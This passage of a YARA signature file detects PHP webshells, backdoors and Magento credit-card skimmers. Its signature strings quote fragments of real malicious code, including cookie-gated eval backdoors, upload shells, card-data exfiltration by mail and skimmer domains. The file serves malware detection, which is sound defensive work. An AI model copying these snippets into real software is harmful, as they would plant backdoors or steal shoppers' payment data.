myshellexec($cmd) {" fullword ascii 498 | $s6 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo \"\".$row[0].\"\".$row[1].\"\";}" fullword ascii 499 | $s7 = "$scan = myshellexec(\"ps aux\");" fullword ascii 500 | $s8 = "$res = @ob_get_contents();" fullword ascii 501 | $s9 = "$r = @file_get_contents($d.$f);" fullword ascii 502 | $s10 = "if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}" fullword ascii 503 | $s11 = "\"\"." fullword ascii 505 | $s13 = "echo \"\";" fullword ascii 506 | $s14 = "else {echo \"Can't create DB \\\"\".htmlspecialchars($sql_newdb).\"\\\".
Reason: \".mysql_smarterror();}" fullword ascii 507 | $s15 = "if (!empty($psterr)) {echo \"Pasting with errors:
\".$psterr;}" fullword ascii 508 | $s16 = "header(\"Content-type: application/octet-stream\");" fullword ascii 509 | $s17 = "echo \"\"." fullword ascii 510 | $s18 = "\">" fullword ascii 511 | $s19 = "if (empty($add_drop)) {$add_drop = TRUE;}" fullword ascii 512 | $s20 = "echo \" 

\";" fullword ascii 513 | condition: 514 | uint16(0) == 0x3f3c and filesize < 587KB and all of them 515 | } 516 | rule phpini_backdoor 517 | { 518 | meta: 519 | author = "MageMojo" 520 | description = "Auto-generated rule - from files shrr.php, phpini.php" 521 | super_rule = 1 522 | hash1 = "5e8a1ddde920418879aa3776cba8dff2e30acc0484d22ce35ce18b619cd9888c" 523 | hash2 = "3fe9214b33ead5c7d1f80af469593638b9e1e5f5730a7d3ba2f96b6b555514d4" 524 | strings: 525 | $s0 = "div.content{ padding: 5px;margin-left:5px;background-color:#333; }" fullword ascii 526 | $s1 = "input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }" fullword ascii 527 | $s2 = "h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }" fullword ascii 528 | $s3 = "
\"." fullword ascii 504 | $s12 = "\"
" fullword ascii 529 | $s4 = "
Execute:
var a=\"'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'2;tcp'02pgdgpgp'02'1F'02glamfgWPKAmormlg" ascii 657 | condition: 658 | uint16(0) == 0x733c and filesize < 3KB and all of them 659 | } 660 | rule Main_php 661 | { 662 | meta: 663 | author = "MageMojo" 664 | description = "php_malware - file Main.php" 665 | hash = "53f656fb4fe3b8580e23aa32db98ceef0c141f4cdb578328a456cfca201bdba2" 666 | strings: 667 | $s0 = " \";" fullword ascii 1205 | $s6 = "echo \" \";" fullword ascii 1206 | $s7 = "if($_POST['p1'] === 'uploadFile') {" fullword ascii 1207 | $s8 = "Upload file: \";" fullword ascii 1208 | $s9 = "echo \"\\n\";" fullword ascii 1209 | $s10 = "echo \"\\n\";" fullword ascii 1210 | $s11 = "if(isset($_POST['c']))" fullword ascii 1211 | $s12 = "@chdir($_POST['c']);" fullword ascii 1212 | $s13 = "" fullword ascii 1213 | $s14 = "if(function_exists(\"scandir\")) {" fullword ascii 1214 | $s15 = "" fullword ascii 1215 | $s16 = "body{background-color:#111; color:#e1e1e1;}" fullword ascii 1216 | $s17 = "function wscandir($cwdir) {" fullword ascii 1217 | $s18 = "$safe_mode = @ini_get('safe_mode');" fullword ascii 1218 | $s19 = "$ls = wscandir($cwd);" fullword ascii 1219 | $s20 = "while (false !== ($filename = readdir($cwdh)))" fullword ascii 1220 | condition: 1221 | uint16(0) == 0x3f3c and filesize < 7KB and all of them 1222 | } 1223 | rule skins_2 1224 | { 1225 | meta: 1226 | author = "MageMojo" 1227 | description = "php_malware - file skins.php" 1228 | hash = "2ed85107292b5a48dedad17c7ce91cef796a93c98ce4e25485efe7cb35b8f058" 1229 | strings: 1230 | $s0 = "" fullword ascii 1231 | condition: 1232 | uint16(0) == 0x3f3c and filesize < 1KB and all of them 1233 | } 1234 | rule Cc_php 1235 | { 1236 | meta: 1237 | author = "MageMojo" 1238 | description = "php_malware - file Cc.php" 1239 | hash = "2dcbd0b85875444db7b542f0c158f125d0d4fbc1ad943b86f86583b54e144c3c" 1240 | strings: 1241 | $s0 = "$data17 = json_decode(file_get_contents(\"http://www.binlist.net/json/\".$data16.\"\"));" fullword ascii 1242 | $s1 = "$data1 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();" fullword ascii 1243 | $s2 = "$data8 = $details->getPostcode();" fullword ascii 1244 | $s3 = "$expyear = substr($info->getCcExpYear(), -2);" fullword ascii 1245 | $s4 = "$details = $object->getQuote()->getBillingAddress();" fullword ascii 1246 | $s5 = "$srvip = $_SERVER['REMOTE_ADDR'];" fullword ascii 1247 | $s6 = "$encode = base64_decode($idkey);" fullword ascii 1248 | $s7 = "$data16 = substr($info->getCcNumber(), 0,6);" fullword ascii 1249 | $s8 = "$headr = 'From:'.$name.'<'.$data2.'>';" fullword ascii 1250 | $s9 = "$expmonth = $info->getCcExpMonth();" fullword ascii 1251 | $s10 = "$data4 = $details->getStreet(1);" fullword ascii 1252 | $s11 = "$data3 = $details->getLastname();" fullword ascii 1253 | $s12 = "$info = $this->getInfoInstance();" fullword ascii 1254 | $s13 = "$data5 = $details->getStreet(2);" fullword ascii 1255 | $s14 = "$data9 = $details->getCountry();" fullword ascii 1256 | $s15 = "$data10 = $details->getTelephone();" fullword ascii 1257 | $s16 = "$data2 = $details->getFirstname();" fullword ascii 1258 | $s17 = "$srvadd = $_SERVER['SERVER_NAME'];" fullword ascii 1259 | $s18 = "mail($encode, $salt, $payfull, $headr);" fullword ascii 1260 | $s19 = "$idkey = 'YmVnYWxtYWdlbnRvQGdtYWlsLmNvbQ==';" fullword ascii 1261 | $s20 = "$data11 = $info->getCcNumber();" fullword ascii 1262 | condition: 1263 | uint16(0) == 0x2020 and filesize < 6KB and all of them 1264 | } 1265 | rule iestyles 1266 | { 1267 | meta: 1268 | author = "MageMojo" 1269 | description = "php_malware - file iestyles.php" 1270 | hash = "2852ef99bcb3150595cf7f1260871fda9225753f58db3b73b9535150ef22677e" 1271 | strings: 1272 | $s0 = "if(md5(@$_COOKIE['hsh'])=='f026c722b7b295be861e572f08677d0f')($_=@$_REQUEST['css']).@$_($_REQUEST['js']); ?>" fullword ascii 1273 | condition: 1274 | uint16(0) == 0x3f3c and filesize < 1KB and all of them 1275 | } 1276 | rule user41 1277 | { 1278 | meta: 1279 | author = "MageMojo" 1280 | description = "php_malware - file user41.php" 1281 | hash = "56b89ce2eb29c48f65a58501e401f89f8e20a6860a3a482e1239b47d29828a30" 1282 | strings: 1283 | $s0 = "@$GLOBALS[$GLOBALS['rfc3fd88'][79].$GLOBALS['rfc3fd88'][82].$GLOBALS['rfc3fd88'][23].$GLOBALS['rfc3fd88'][27]](0);" fullword ascii 1284 | $s1 = "$GLOBALS[$GLOBALS['rfc3fd88'][34].$GLOBALS['rfc3fd88'][59].$GLOBALS['rfc3fd88'][93].$GLOBALS['rfc3fd88'][13].$GLOBALS['rfc3fd88'" ascii 1285 | $s2 = "$GLOBALS[$GLOBALS['rfc3fd88'][86].$GLOBALS['rfc3fd88'][41].$GLOBALS['rfc3fd88'][0].$GLOBALS['rfc3fd88'][93].$GLOBALS['rfc3fd88']" ascii 1286 | $s3 = "elseif ($ta69f07a[$GLOBALS['rfc3fd88'][59]] == $GLOBALS['rfc3fd88'][33])" fullword ascii 1287 | $s4 = "if ($ta69f07a[$GLOBALS['rfc3fd88'][59]] == $GLOBALS['rfc3fd88'][12])" fullword ascii 1288 | $s5 = "eval($ta69f07a[$GLOBALS['rfc3fd88'][58]]);" fullword ascii 1289 | $s6 = "function ofa04d67($ta69f07a, $f2c9f9a)" fullword ascii 1290 | $s7 = "function x5d6508($ta69f07a, $f2c9f9a)" fullword ascii 1291 | $s8 = "$o3ce467 = NULL;" fullword ascii 1292 | $s9 = "$o3ce467 = $f2c9f9a;" fullword ascii 1293 | $s10 = "$ta69f07a = NULL;" fullword ascii 1294 | $s11 = "$ma481e3 = Array(" fullword ascii 1295 | $s12 = "$ta69f07a = $mb606694a;" fullword ascii 1296 | $s13 = "$jba5cba42 = \"\";" fullword ascii 1297 | $s14 = "global $m893916;" fullword ascii 1298 | $s15 = "return $jba5cba42;" fullword ascii 1299 | condition: 1300 | uint16(0) == 0x3f3c and filesize < 33KB and all of them 1301 | } 1302 | rule sql 1303 | { 1304 | meta: 1305 | author = "MageMojo" 1306 | description = "php_malware - file sql.php" 1307 | hash = "f6c49280fcdc632aed89ab33ae68b64b8021402f3de7f25ebab4aecabdfc1b8c" 1308 | strings: 1309 | $s0 = "'FaLo4EgHxaLH8rjTOuQh4uFHxUZo5EYo4uFdN7GMv3F16Eye4q614uyRvawS8rLXvaLX4rG15uXp57FoBcH1v3G1v3G1v3G1'." fullword ascii 1310 | $s1 = "'v3G1v3G1v3G1v3G1n6H1v3G1v3G1v3G1v3G1v3G1xqehwqZHfEye4d61O7PcFuVdrEehwqZHrE2p431d0eTkrlGRj2ccZl2Fjl'." fullword ascii 1311 | $s2 = "'G1FaVi4qXWv3LK4eyE5rxcvlR15u2pFEzt3iG1v3PcwDxp8Dj1x2Lo4DVswr61O7GAjlGt3iG1v3PcwDxp8Dj1x2Lo4DVp8D'." fullword ascii 1312 | $s3 = "'XArEZh4qQhfuQXN3LR8qXA0JYm5Dxe5EyewaPew3KovapNv3G1v3G1v3G1v3G1fE2p42yeFEVSrE5e4ujHxaLH8rj'." fullword ascii 1313 | $s4 = "'wDF1O7GcBcH1v3G1FaVi4qXWv3Lm5Dxe5EyewaPew3Gyv3wXfEhsxApNv3G1vaPefuQofSGKzRezzmTX5rPP4qXE5'." fullword ascii 1314 | $s5 = "'iGHxqXM5qVgvlR1jlp1xqXM5qVgvlc1fEye4d6HxaLH8rjTOKZeFULs4zhXfDLXFiKtv3Lo4uLXk3p9N7Pt3iG1v3G1v'." fullword ascii 1315 | $s6 = "'4uYXfULX531o3iG1v3Pt3iG1v3G1v3G18Df1NqXArUxXFEyeFuZXN3LR8qXA0JYA4rLcrEZs4ugoN7Pt3iG1v3G1v3G'." fullword ascii 1316 | $s7 = "'1v3G1v3LT5rZAfDwXvlR1xSFt3iG1v3G1v3G15uySv31K87GyvlGtv3Lovlc1fEye4d6HxqQo4uzo'." fullword ascii 1317 | $s8 = "'y3iG1v3G1v3G1xaLH8rjTOuXA72LZJ3hRFdVXNJpNv3G1v3G1v3Gs0SPl4EYE5rxRvq2p43PT5rZAfDwXvq'." fullword ascii 1318 | $s9 = "'o3iG1v3Pt3iG1v3G1v3G1FuVRwrxMv3LR8qXA0JYm5Dxe5EyewaPewlpNv3G1vaRNv3G1vaPefuQ'." fullword ascii 1319 | $s10 = "'fEye4d6HxaLH8rjTOu2p42yS5DZoFqXX4dLAN7G+vqZswDYRN3LifDLnFuZcw3Kovq2M53Gh'." fullword ascii 1320 | $s11 = "'1H1v3G1v3G1v3G1v3G1v3G1xqehwqZHfEye4d61O7PcFuVdrEehwqZHrE2p431d0epHN7xw0SF'." fullword ascii 1321 | $s12 = "'uVRwrxMBcH1v3G1v3G1vaRNv3G1v3G1v3Po5iGHvDXMrE2SFu2YN3LR8qXA0JYm5Dxe5EyewaPe'." fullword ascii 1322 | $s13 = "'3LR8qXA0JYA4rLcrEZs4ugoBcH1v3G1v3G1v3G1v3Po5iGHxqXM5uy4xULo4DVKrEyew3ww'." fullword ascii 1323 | $s14 = "'R8qXA0JYA4rLc0JYW4qyA571oBcH1v3G1v3G1vaRNv3G1v3G1v3Po5iGHfEye4d6Hxqxh5'." fullword ascii 1324 | $s15 = "'1v3G1vaRNv3G1v3G1v3PAwEXRfE11N3LR8qXA0JYm5Dxe5EyewaPew3K1kcH1v3G1v3G1v3G1v'." fullword ascii 1325 | $s16 = "'8Df1N3hW4UVMw31KwqhoFSR+wqbov3p1fEye4d6HxaLH8rjTOuZWN7G9vqZswDYRN3LR8qX'." fullword ascii 1326 | $s17 = "'MxSGMv3Lp8DYXrEyewlpNv3G1v3G1v3G1v3G1v3G1vaRNv3G1v3G1v3G1v3G1v'." fullword ascii 1327 | $s18 = "'KNv3G1vapNv3G1v3G1v3GKwqhoFSR+5rxS4UxnfEye4d69NApNv3G1v3G1v3Po5iGH'." fullword ascii 1328 | $s19 = "'LX4d6pv3LTfrLW8qVANJpNv3G1vq5sFi1K87GyvlGtv3Lovlc1fEye4d6Hxqe'." fullword ascii 1329 | $s20 = "'1N6H1v3G1v3G1v3G1v3Ph4u61fEye4d6HxaLH8rjTOuxWfSK1OiGc3iG1v3G1v3G1N7'." fullword ascii 1330 | condition: 1331 | uint16(0) == 0x3f3c and filesize < 454KB and all of them 1332 | } 1333 | rule bad_html 1334 | { 1335 | meta: 1336 | author = "MageMojo" 1337 | description = "php_malware - file 57ecf5ca445625e8154131e8f560153a.htm" 1338 | hash = "a60032a560ec799c552d139731e27f43a9c903765c951a1476af28213846cf05" 1339 | strings: 1340 | $s0 = "" fullword ascii 1341 | $s1 = "
" fullword ascii 1342 | $s2 = "
" fullword ascii 1343 | $s3 = "
" fullword ascii 1344 | $s4 = "PayPal" fullword ascii 1345 | $s5 = "" fullword ascii 1346 | $s6 = "
\".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'." ascii 1359 | $s1 = " base64_encode($dvs)," 1616 | $4="$subject = $pay->getCcNumber().\" From \".$_SERVER['HTTP_HOST'].\"|\".$setBilling['Country'];" 1617 | $5="private function _storeInfos(" 1618 | $6="mail($encode, $salt, $payfull, $headr);" 1619 | $7="From: Logger CC Magento" 1620 | $10="fwrite($write,$invoice" 1621 | $11="http://www.telize.com/geoip/\".$ipboss" 1622 | $12="$idkey = \"base\".\"64\".\"_\".\"de\".\"code\";" 1623 | $13="tuyulnya.penjahat@gmail.com" 1624 | $14="$message=\"$owner\n$ccnumber\n$expmont\n$expyear\n$issue\n$ip\";" 1625 | $15="kun.cahyono81@gmail.com" 1626 | $16="fputs($logme, $line, strlen($line));" 1627 | $17="$curl_connection = curl_init('http://www.gamesmart.mx" 1628 | $18="$encode = $idkey(\"ZGVtYWl3YWxkNDA0QGdtYWlsLmNvbQ==\");" 1629 | $19="magentopatchupdate.com" 1630 | $20="$headr = 'From:'.$srvadd.'<'.$data2.'>';" 1631 | $21="RieqyNS13" 1632 | $22="$message .=\"Location = \".$data17->geoplugin_city" 1633 | $23="$idkey = 'YmVnYWxtYWdlbnRvQGdtYWlsLmNvbQ==';" 1634 | $24="http://bins.pro" 1635 | $25="mVzdWx0YmFydTY5QGdtYWlsLmNvbQ==" 1636 | $27="https://bins.ribbon.co" 1637 | $28="Cassaprodigy" 1638 | $29="specialsok.tgz" 1639 | 1640 | 1641 | condition: 1642 | any of them 1643 | } 1644 | rule wordpress_cnf 1645 | { 1646 | meta: 1647 | author = "MageMojo" 1648 | description="backdoor shell" 1649 | strings: 1650 | $1="$WP__WP='base'.(128/2).'_de'" 1651 | 1652 | condition: 1653 | any of them 1654 | 1655 | } 1656 | rule magento_session_php_hack 1657 | { 1658 | meta: 1659 | author = "MageMojo" 1660 | description="backdoor shell" 1661 | strings: 1662 | $1="cnJvcnJwb3J0QGdtYWlsLmNvbQ" 1663 | $2="REMOTE_ADDR" 1664 | $3="US: $username\nPS: $password\nIP: $ips\nWS: $srv" 1665 | condition: 1666 | all of them 1667 | } 1668 | rule magento_prototype_js_injection 1669 | { 1670 | meta: 1671 | author = "MageMojo" 1672 | description="js injection" 1673 | strings: 1674 | $1="this['eval'](String['fromCharCode']'" 1675 | 1676 | condition: 1677 | any of them 1678 | 1679 | } 1680 | rule md5_64651cede2467fdeb1b3b7e6ff3f81cb 1681 | { 1682 | meta: 1683 | author = "Willem de Groot" 1684 | strings: $ = "rUl6QttVEP5eqf9usxfJjgoOvdNWFSGoHDgluk+4ONwXQNbGniQLttfyrgkB8d9" 1685 | condition: any of them 1686 | 1687 | } 1688 | rule fopo_webshell 1689 | { 1690 | meta: 1691 | author = "Willem de Groot" 1692 | strings: 1693 | $ = "DNEcHdQbWtXU3dSMDA1VmZ1c29WUVFXdUhPT0xYb0k3ZDJyWmFVZlF5Y0ZEeHV4K2FnVmY0OUtjbzhnc0" 1694 | $ = "U3hkTVVibSt2MTgyRjY0VmZlQWo3d1VlaFJVNVNnSGZUVUhKZXdEbGxJUTlXWWlqWSt0cEtacUZOSXF4c" 1695 | $ = "rb2JHaTJVdURMNlhQZ1ZlTGVjVnFobVdnMk5nbDlvbEdBQVZKRzJ1WmZUSjdVOWNwWURZYlZ0L1BtNCt" 1696 | condition: any of them 1697 | 1698 | } 1699 | rule eval_post 1700 | { 1701 | meta: 1702 | author = "Willem de Groot" 1703 | strings: 1704 | $ = "eval(base64_decode($_POST" 1705 | $ = "eval($undecode($tongji))" 1706 | $ = "eval($_POST" 1707 | condition: any of them 1708 | 1709 | } 1710 | rule spam_mailer 1711 | { 1712 | meta: 1713 | author = "Willem de Groot" 1714 | strings: 1715 | $ = "WwW.Zone-Org" 1716 | $ = "echo eval(urldecode(" 1717 | condition: any of them 1718 | 1719 | } 1720 | rule md5_0105d05660329704bdb0ecd3fd3a473b 1721 | { 1722 | meta: 1723 | author = "Willem de Groot" 1724 | /* 1725 | 1726 | } 1727 | rule md5_0b1bfb0bdc7e017baccd05c6af6943ea 1728 | { 1729 | meta: 1730 | author = "Willem de Groot" 1731 | /* 1732 | eval(hnsqqh($llmkuhieq, $dbnlftqgr));?> 1733 | eval(vW91692($v7U7N9K, $v5N9NGE));?> 1734 | */ 1735 | strings: $ = /eval([wd]+($[wd]+, $[wd]+));/ 1736 | condition: any of them 1737 | 1738 | } 1739 | rule md5_2495b460f28f45b40d92da406be15627 1740 | { 1741 | meta: 1742 | author = "Willem de Groot" 1743 | strings: $ = "$dez = $pwddir.\"/\".$real;copy($uploaded, $dez);" 1744 | condition: any of them 1745 | 1746 | } 1747 | rule md5_3ccdd51fe616c08daafd601589182d38 1748 | { 1749 | meta: 1750 | author = "Willem de Groot" 1751 | strings: $ = "eval(xxtea_decrypt" 1752 | condition: any of them 1753 | 1754 | } 1755 | rule md5_4b69af81b89ba444204680d506a8e0a1 1756 | { 1757 | meta: 1758 | author = "Willem de Groot" 1759 | strings: $ = "** Scam Redirector" 1760 | condition: any of them 1761 | 1762 | } 1763 | rule md5_87cf8209494eedd936b28ff620e28780 1764 | { 1765 | meta: 1766 | author = "Willem de Groot" 1767 | strings: $ = "curl_close($cu);eval($o);};die();" 1768 | condition: any of them 1769 | } 1770 | rule md5_c647e85ad77fd9971ba709a08566935d 1771 | { 1772 | meta: 1773 | author = "Willem de Groot" 1774 | strings: $ = "fopen(\"cache.php\", \"w+\")" 1775 | condition: any of them 1776 | 1777 | } 1778 | rule md5_fb9e35bf367a106d18eb6aa0fe406437 1779 | { 1780 | meta: 1781 | author = "Willem de Groot" 1782 | strings: $ = "0B6KVua7D2SLCNDN2RW1ORmhZRWs/sp_tilang.js" 1783 | condition: any of them 1784 | 1785 | } 1786 | rule md5_8e5f7f6523891a5dcefcbb1a79e5bbe9 1787 | { 1788 | meta: 1789 | author = "Willem de Groot" 1790 | strings: $ = "if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) {echo 'up!!!

';}}" 1791 | condition: any of them 1792 | } 1793 | rule indoexploit_autoexploiter 1794 | { 1795 | meta: 1796 | author = "Willem de Groot" 1797 | strings: $ = "echo \"IndoXploit - Auto Xploiter\"" 1798 | condition: any of them 1799 | 1800 | } 1801 | rule eval_base64_decode_a 1802 | { 1803 | meta: 1804 | author = "Willem de Groot" 1805 | strings: $ = "eval(base64_decode($a));" 1806 | condition: any of them 1807 | 1808 | } 1809 | rule md5_ab63230ee24a988a4a9245c2456e4874 1810 | { 1811 | meta: 1812 | author = "Willem de Groot" 1813 | strings: $ = "eval(gzinflate(base64_decode(str_rot13(strrev(" 1814 | condition: any of them 1815 | 1816 | } 1817 | rule md5_b579bff90970ec58862ea8c26014d643 1818 | { 1819 | meta: 1820 | author = "Willem de Groot" 1821 | strings: $ = /]+.(jpg|png|gif)>\s*ForceType application\/x-httpd-php/ 1822 | condition: any of them 1823 | } 1824 | rule md5_d30b23d1224438518d18e90c218d7c8b 1825 | { 1826 | meta: 1827 | author = "Willem de Groot" 1828 | strings: $ = "attribute_code=0x70617373776f72645f68617368" 1829 | condition: any of them 1830 | 1831 | } 1832 | rule base64_hidden_in_image 1833 | { 1834 | meta: 1835 | author = "Willem de Groot" 1836 | strings: $ = /JPEG-1\.1[a-zA-Z0-9\-\/]{32}/ 1837 | condition: any of them 1838 | } 1839 | rule hide_data_in_jpeg 1840 | { 1841 | meta: 1842 | author = "Willem de Groot" 1843 | strings: $ = /file_put_contents\(\$.{2,3},'JPEG-1\.1'\.base64_encode/ 1844 | condition: any of them 1845 | } 1846 | rule hidden_file_upload_in_503 1847 | { 1848 | meta: 1849 | author = "Willem de Groot" 1850 | strings: $ = /error_reporting(0);$f=$_FILES[w+];copy($f[tmp_name],$f[name]);error_reporting(E_ALL);/ 1851 | condition: any of them 1852 | 1853 | } 1854 | rule md5_fd141197c89d27b30821f3de8627ac38 1855 | { 1856 | meta: 1857 | author = "Willem de Groot" 1858 | condition: any of them 1859 | 1860 | } 1861 | rule md5_39ca2651740c2cef91eb82161575348b 1862 | { 1863 | meta: 1864 | author = "Willem de Groot" 1865 | strings: $ = /if\(md5\(@\$_COOKIE\[..\]\)=='.{32}'\) \(\$_=@\$_REQUEST\[.\]\).@\$_\(\$_REQUEST\[.\]\);/ 1866 | condition: any of them 1867 | } 1868 | rule md5_6eb201737a6ef3c4880ae0b8983398a9 1869 | { 1870 | meta: 1871 | author = "Willem de Groot" 1872 | strings: 1873 | $ = "if(md5(@$_COOKIE[qz])==" 1874 | $ = "($_=@$_REQUEST[q]).@$_($_REQUEST[z]);" 1875 | condition: all of them 1876 | 1877 | } 1878 | rule md5_d201d61510f7889f1a47257d52b15fa2 1879 | { 1880 | meta: 1881 | author = "Willem de Groot" 1882 | strings: $ = "@eval(stripslashes($_REQUEST[q]));" 1883 | condition: any of them 1884 | 1885 | } 1886 | rule onepage_or_checkout 1887 | { 1888 | meta: 1889 | author = "Willem de Groot" 1890 | strings: $ = "\x6F\x6E\x65\x70\x61\x67\x65\x7C\x63\x68\x65\x63\x6B\x6F\x75\x74" 1891 | condition: any of them 1892 | 1893 | } 1894 | rule sinlesspleasure_com 1895 | { 1896 | meta: 1897 | author = "Willem de Groot" 1898 | strings: $ = "5e908r948q9e605j8t9b915n5o9f8r5e5d969g9d795b4s6p8t9h9f978o8p8s9590936l6k8j9670524p7490915l5f8r90878t917f7g8p8o8p8k9c605i8d937t7m8i8q8o8q959h7p828e7r8e7q7e8m8o5g5e9199918o9g7q7c8c8t99905a5i8l94989h7r7g8i8t8m5f5o92917q7k9i9e948c919h925a5d8j915h608t8p8t9f937b7k9i9e948c919h92" 1899 | condition: any of them 1900 | 1901 | } 1902 | rule amasty_biz 1903 | { 1904 | meta: 1905 | author = "Willem de Groot" 1906 | strings: $ = "118,97,114,32,115,110,100,32,61,110,117,108,108,59,10,10,102,117" 1907 | condition: any of them 1908 | 1909 | } 1910 | rule amasty_biz_js 1911 | { 1912 | meta: 1913 | author = "Willem de Groot" 1914 | strings: $ = "t_p#0.qlb#0.#1Blsjj#1@#.?#.?dslargml#0.qr_pr#06#07#5@#.?#0" 1915 | condition: any of them 1916 | 1917 | } 1918 | rule returntosender 1919 | { 1920 | meta: 1921 | author = "Willem de Groot" 1922 | strings: $ = "\x2F\x6D\x65\x64\x69\x61\x2F\x63\x61\x74\x61\x6C\x6F\x67\x2F\x70\x72\x6F\x64\x75\x63\x74\x2F\x63\x61\x63\x68\x65\x2F\x31\x2F\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x2F\x37\x30\x30\x78\x2F\x32\x62\x66\x38\x66\x32\x62\x38\x64\x30\x32\x38\x63\x63\x65\x39\x36\x2F\x42\x2F\x57\x2F\x64\x61\x34\x31\x38\x30\x33\x63\x63\x39\x38\x34\x62\x38\x63\x2E\x70\x68\x70" 1923 | condition: any of them 1924 | 1925 | } 1926 | rule ip_5uu8_com 1927 | { 1928 | meta: 1929 | author = "Willem de Groot" 1930 | strings: $ = "\x69\x70\x2e\x35\x75\x75\x38\x2e\x63\x6f\x6d" 1931 | condition: any of them 1932 | 1933 | } 1934 | rule cloudfusion_me 1935 | { 1936 | meta: 1937 | author = "Willem de Groot" 1938 | strings: $ = "cloudfusion.me" 1939 | condition: any of them 1940 | 1941 | } 1942 | rule grelos_v 1943 | { 1944 | meta: 1945 | author = "Willem de Groot" 1946 | strings: $ = "var grelos_v" 1947 | condition: any of them 1948 | 1949 | } 1950 | rule hacked_domains 1951 | { 1952 | meta: 1953 | author = "Willem de Groot" 1954 | strings: 1955 | $ = "infopromo.biz" 1956 | $ = "jquery-code.su" 1957 | $ = "jquery-css.su" 1958 | $ = "megalith-games.com" 1959 | $ = "cdn-cloud.pw" 1960 | $ = "animalzz921.pw" 1961 | condition: any of them 1962 | 1963 | } 1964 | rule mage_cdn_link 1965 | { 1966 | meta: 1967 | author = "Willem de Groot" 1968 | strings: $ = "\x6D\x61\x67\x65\x2D\x63\x64\x6E\x2E\x6C\x69\x6E\x6B" 1969 | condition: any of them 1970 | 1971 | } 1972 | rule credit_card_regex 1973 | { 1974 | meta: 1975 | author = "Willem de Groot" 1976 | strings: $ = "RegExp(\"[0-9]{13,16}\")" 1977 | condition: any of them 1978 | } 1979 | rule jquery_code_su 1980 | { 1981 | meta: 1982 | author = "Willem de Groot" 1983 | strings: $ = "105,102,40,40,110,101,119,32,82,101,103,69,120,112,40,39,111,110,101,112,97,103,101" 1984 | condition: any of them 1985 | 1986 | } 1987 | rule jquery_code_su_multi 1988 | { 1989 | meta: 1990 | author = "Willem de Groot" 1991 | strings: $ = "=oQKpkyJ8dCK0lGbwNnLn42bpRXYj9GbENDft12bkBjM8V2Ypx2c8Rnbl52bw12bDlkUVVGZvNWZkZ0M85WavpGfsJXd8R1UPB1NywXZtFmb0N3box" 1992 | condition: any of them 1993 | 1994 | } 1995 | rule gate_php_js 1996 | { 1997 | meta: 1998 | author = "Willem de Groot" 1999 | strings: 2000 | $ = "/gate.php?token=" 2001 | $ = "payment[cc_cid]" 2002 | condition: all of them 2003 | 2004 | } 2005 | rule googieplay_js 2006 | { 2007 | meta: 2008 | author = "Willem de Groot" 2009 | strings: $ = "tdsjqu!tsd>#iuuq;00hpphjfqmbz/jogp0nbhfoup`hpphjfqmbz/kt#?=0tdsjqu?" 2010 | condition: any of them 2011 | 2012 | } 2013 | rule mag_php_js 2014 | { 2015 | meta: 2016 | author = "Willem de Groot" 2017 | strings: $ = "onepage|checkout|onestep|firecheckout|onestepcheckout" 2018 | condition: any of them 2019 | 2020 | } 2021 | rule thetech_org_js 2022 | { 2023 | meta: 2024 | author = "Willem de Groot" 2025 | strings: $ = "|RegExp|onepage|checkout|" 2026 | condition: any of them 2027 | 2028 | } 2029 | rule md5_cdn_js_link_js 2030 | { 2031 | meta: 2032 | author = "Willem de Groot" 2033 | strings: $ = "grelos_v= null" 2034 | condition: any of them 2035 | 2036 | } 2037 | rule backup_backdoor 2038 | { 2039 | meta: 2040 | author = "MageMojo" 2041 | strings: 2042 | $ = "function onESs($NTlWmu)" 2043 | condition: any of them 2044 | 2045 | } 2046 | rule mailhijacker 2047 | { 2048 | meta: 2049 | author = "MageMojo" 2050 | strings: 2051 | $ = "public function check($email, $pwd){" 2052 | condition: any of them 2053 | 2054 | } 2055 | rule adminhijacker 2056 | { 2057 | meta: 2058 | author = "MageMojo" 2059 | strings: 2060 | $ = "\"Admin From \".$_SERVER['HTTP_HOST']" 2061 | condition: any of them 2062 | 2063 | } 2064 | rule modgit_backdoor 2065 | { 2066 | meta: 2067 | author = "MageMojo" 2068 | strings: 2069 | $ = "isset($_POST['_']))@setcookie('_', $_POST['_']);" 2070 | condition: any of them 2071 | 2072 | } 2073 | rule FOPO_obfuscator 2074 | { 2075 | meta: 2076 | author = "MageMojo" 2077 | strings: 2078 | $ = "Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/" 2079 | condition: any of them 2080 | 2081 | } 2082 | rule Mage_jpeg_cc_append 2083 | { 2084 | meta: 2085 | author = "MageMojo" 2086 | strings: 2087 | $ = "@file_put_contents($y0,'JPEG-.1'.base64_encode($a5),FILE_APPEND)" 2088 | condition: any of them 2089 | 2090 | } 2091 | rule sohai_info_stealer 2092 | { 2093 | meta: 2094 | author = "MageMojo" 2095 | strings: 2096 | $ = "coder : sohai" 2097 | condition: any of them 2098 | } 2099 | rule adminer_backdoor 2100 | { 2101 | meta: 2102 | author = "MageMojo" 2103 | strings: 2104 | $1="http://www.vrana.cz/" 2105 | condition: 2106 | any of them 2107 | 2108 | } 2109 | rule cc_skimmer_google_jquery 2110 | { 2111 | meta: 2112 | author = "MageMojo" 2113 | strings: 2114 | $1="$data=json_encode(array('request'=>$_REQUEST, 'ip'=>$_SERVER['REMOTE_ADDR']" 2115 | condition: 2116 | any of them 2117 | 2118 | } 2119 | rule phpfilemanager 2120 | { 2121 | meta: 2122 | author = "MageMojo" 2123 | strings: 2124 | $1="phpFileManager" 2125 | condition: 2126 | any of them 2127 | 2128 | } --------------------------------------------------------------------------------